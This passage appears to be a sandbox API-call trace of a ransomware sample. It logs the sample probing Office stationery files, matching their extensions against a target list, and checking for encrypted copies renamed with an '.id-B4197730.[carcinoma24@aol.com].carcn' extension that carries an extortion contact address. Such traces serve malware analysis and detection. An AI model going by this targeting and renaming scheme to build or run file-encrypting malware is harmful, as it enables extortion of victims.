bubbles.htm.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0176.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.046] lstrlenW (lpString=".doc") returned 4 [0176.046] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0176.046] lstrlenW (lpString=".docx") returned 5 [0176.046] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0176.046] lstrlenW (lpString=".pdf") returned 4 [0176.046] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0176.046] lstrlenW (lpString=".xls") returned 4 [0176.046] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0176.046] lstrlenW (lpString=".xlsx") returned 5 [0176.046] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0176.046] lstrlenW (lpString=".ppt") returned 4 [0176.046] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0176.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.046] lstrlenW (lpString=".zip") returned 4 [0176.046] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0176.046] lstrlenW (lpString=".rar") returned 4 [0176.046] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0176.046] lstrlenW (lpString=".bz2") returned 4 [0176.046] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0176.046] lstrlenW (lpString=".7z") returned 3 [0176.046] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0176.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.046] lstrlenW (lpString=".dbf") returned 4 [0176.046] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0176.046] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.046] lstrlenW (lpString=".1cd") returned 4 [0176.046] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0176.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.047] lstrlenW (lpString=".jpg") returned 4 [0176.047] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0176.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.047] lstrlenW (lpString=".doc") returned 4 [0176.047] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0176.047] lstrlenW (lpString=".docx") returned 5 [0176.047] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0176.047] lstrlenW (lpString=".pdf") returned 4 [0176.047] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0176.047] lstrlenW (lpString=".xls") returned 4 [0176.047] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0176.047] lstrlenW (lpString=".xlsx") returned 5 [0176.047] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0176.047] lstrlenW (lpString=".ppt") returned 4 [0176.047] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0176.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.047] lstrlenW (lpString=".zip") returned 4 [0176.047] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0176.047] lstrlenW (lpString=".rar") returned 4 [0176.047] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0176.047] lstrlenW (lpString=".bz2") returned 4 [0176.047] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0176.047] lstrlenW (lpString=".7z") returned 3 [0176.047] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0176.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.047] lstrlenW (lpString=".dbf") returned 4 [0176.047] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0176.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.048] lstrlenW (lpString=".1cd") returned 4 [0176.048] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0176.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0176.048] lstrlenW (lpString=".jpg") returned 4 [0176.048] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0176.048] lstrcmpiW (lpString1=".jpg", lpString2=".carcn") returned 1 [0176.048] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0176.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0177.716] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=6406) returned 1 [0177.717] CloseHandle (hObject=0x388) returned 1 [0177.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0177.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.782] lstrlenW (lpString=".doc") returned 4 [0177.782] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.783] lstrlenW (lpString=".docx") returned 5 [0177.783] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0177.783] lstrlenW (lpString=".pdf") returned 4 [0177.783] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.783] lstrlenW (lpString=".xls") returned 4 [0177.783] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.783] lstrlenW (lpString=".xlsx") returned 5 [0177.783] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0177.783] lstrlenW (lpString=".ppt") returned 4 [0177.783] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.783] lstrlenW (lpString=".zip") returned 4 [0177.783] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.783] lstrlenW (lpString=".rar") returned 4 [0177.783] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.783] lstrlenW (lpString=".bz2") returned 4 [0177.783] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.783] lstrlenW (lpString=".7z") returned 3 [0177.783] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.783] lstrlenW (lpString=".dbf") returned 4 [0177.783] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.783] lstrlenW (lpString=".1cd") returned 4 [0177.783] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.783] lstrlenW (lpString=".jpg") returned 4 [0177.783] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.783] lstrlenW (lpString=".doc") returned 4 [0177.783] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.783] lstrlenW (lpString=".docx") returned 5 [0177.783] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0177.784] lstrlenW (lpString=".pdf") returned 4 [0177.784] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.784] lstrlenW (lpString=".xls") returned 4 [0177.784] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.784] lstrlenW (lpString=".xlsx") returned 5 [0177.784] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0177.784] lstrlenW (lpString=".ppt") returned 4 [0177.784] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.784] lstrlenW (lpString=".zip") returned 4 [0177.784] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.784] lstrlenW (lpString=".rar") returned 4 [0177.784] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.784] lstrlenW (lpString=".bz2") returned 4 [0177.784] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.784] lstrlenW (lpString=".7z") returned 3 [0177.784] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.784] lstrlenW (lpString=".dbf") returned 4 [0177.784] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.784] lstrlenW (lpString=".1cd") returned 4 [0177.784] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0177.784] lstrlenW (lpString=".jpg") returned 4 [0177.784] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.784] lstrcmpiW (lpString1=".jpg", lpString2=".carcn") returned 1 [0177.784] lstrlenW (lpString="Roses.jpg") returned 9 [0177.784] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.800] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1920) returned 1 [0177.800] CloseHandle (hObject=0x318) returned 1 [0177.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg")) returned 0x20 [0177.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.800] lstrlenW (lpString=".doc") returned 4 [0177.800] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.800] lstrlenW (lpString=".docx") returned 5 [0177.800] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0177.800] lstrlenW (lpString=".pdf") returned 4 [0177.800] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.800] lstrlenW (lpString=".xls") returned 4 [0177.800] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.801] lstrlenW (lpString=".xlsx") returned 5 [0177.801] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0177.801] lstrlenW (lpString=".ppt") returned 4 [0177.801] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.801] lstrlenW (lpString=".zip") returned 4 [0177.801] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.801] lstrlenW (lpString=".rar") returned 4 [0177.801] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.801] lstrlenW (lpString=".bz2") returned 4 [0177.801] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.801] lstrlenW (lpString=".7z") returned 3 [0177.801] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.801] lstrlenW (lpString=".dbf") returned 4 [0177.801] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.801] lstrlenW (lpString=".1cd") returned 4 [0177.801] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.801] lstrlenW (lpString=".jpg") returned 4 [0177.801] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.801] lstrlenW (lpString=".doc") returned 4 [0177.801] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.801] lstrlenW (lpString=".docx") returned 5 [0177.801] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0177.801] lstrlenW (lpString=".pdf") returned 4 [0177.801] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.801] lstrlenW (lpString=".xls") returned 4 [0177.801] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.801] lstrlenW (lpString=".xlsx") returned 5 [0177.801] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0177.802] lstrlenW (lpString=".ppt") returned 4 [0177.802] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.802] lstrlenW (lpString=".zip") returned 4 [0177.802] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.802] lstrlenW (lpString=".rar") returned 4 [0177.802] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.802] lstrlenW (lpString=".bz2") returned 4 [0177.802] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.802] lstrlenW (lpString=".7z") returned 3 [0177.802] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.802] lstrlenW (lpString=".dbf") returned 4 [0177.802] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.802] lstrlenW (lpString=".1cd") returned 4 [0177.802] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 67 [0177.802] lstrlenW (lpString=".jpg") returned 4 [0177.802] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.802] lstrcmpiW (lpString1=".htm", lpString2=".carcn") returned 1 [0177.802] lstrlenW (lpString="Soft Blue.htm") returned 13 [0177.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.803] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=232) returned 1 [0177.803] CloseHandle (hObject=0x318) returned 1 [0177.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0177.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.804] lstrlenW (lpString=".doc") returned 4 [0177.804] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.804] lstrlenW (lpString=".docx") returned 5 [0177.804] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0177.804] lstrlenW (lpString=".pdf") returned 4 [0177.804] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.804] lstrlenW (lpString=".xls") returned 4 [0177.804] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.804] lstrlenW (lpString=".xlsx") returned 5 [0177.804] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0177.804] lstrlenW (lpString=".ppt") returned 4 [0177.804] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.804] lstrlenW (lpString=".zip") returned 4 [0177.804] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.804] lstrlenW (lpString=".rar") returned 4 [0177.804] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.804] lstrlenW (lpString=".bz2") returned 4 [0177.804] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.805] lstrlenW (lpString=".7z") returned 3 [0177.805] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.805] lstrlenW (lpString=".dbf") returned 4 [0177.805] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.805] lstrlenW (lpString=".1cd") returned 4 [0177.805] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.805] lstrlenW (lpString=".jpg") returned 4 [0177.805] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.805] lstrlenW (lpString=".doc") returned 4 [0177.805] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.805] lstrlenW (lpString=".docx") returned 5 [0177.805] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0177.805] lstrlenW (lpString=".pdf") returned 4 [0177.805] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.805] lstrlenW (lpString=".xls") returned 4 [0177.805] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.805] lstrlenW (lpString=".xlsx") returned 5 [0177.805] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0177.805] lstrlenW (lpString=".ppt") returned 4 [0177.805] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.805] lstrlenW (lpString=".zip") returned 4 [0177.805] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.805] lstrlenW (lpString=".rar") returned 4 [0177.805] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.805] lstrlenW (lpString=".bz2") returned 4 [0177.805] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.805] lstrlenW (lpString=".7z") returned 3 [0177.805] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.806] lstrlenW (lpString=".dbf") returned 4 [0177.806] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.806] lstrlenW (lpString=".1cd") returned 4 [0177.806] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0177.806] lstrlenW (lpString=".jpg") returned 4 [0177.806] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.806] lstrcmpiW (lpString1=".htm", lpString2=".carcn") returned 1 [0177.806] lstrlenW (lpString="Stars.htm") returned 9 [0177.806] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.810] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=230) returned 1 [0177.810] CloseHandle (hObject=0x318) returned 1 [0177.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm")) returned 0x20 [0177.810] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.814] lstrlenW (lpString=".doc") returned 4 [0177.814] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.814] lstrlenW (lpString=".docx") returned 5 [0177.814] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0177.814] lstrlenW (lpString=".pdf") returned 4 [0177.814] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.814] lstrlenW (lpString=".xls") returned 4 [0177.814] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.814] lstrlenW (lpString=".xlsx") returned 5 [0177.814] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0177.814] lstrlenW (lpString=".ppt") returned 4 [0177.814] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.814] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.814] lstrlenW (lpString=".zip") returned 4 [0177.814] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.814] lstrlenW (lpString=".rar") returned 4 [0177.815] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.815] lstrlenW (lpString=".bz2") returned 4 [0177.815] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.815] lstrlenW (lpString=".7z") returned 3 [0177.815] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.815] lstrlenW (lpString=".dbf") returned 4 [0177.815] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.815] lstrlenW (lpString=".1cd") returned 4 [0177.815] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.815] lstrlenW (lpString=".jpg") returned 4 [0177.815] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 67 [0177.815] lstrlenW (lpString=".doc") returned 4 [0177.815] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.815] lstrlenW (lpString=".docx") returned 5 [0177.815] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0177.815] lstrlenW (lpString=".pdf") returned 4 [0177.815] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.815] lstrlenW (lpString=".xls") returned 4 [0177.815] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.815] lstrlenW (lpString=".xlsx") returned 5 [0177.815] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0177.816] lstrlenW (lpString=".ppt") returned 4 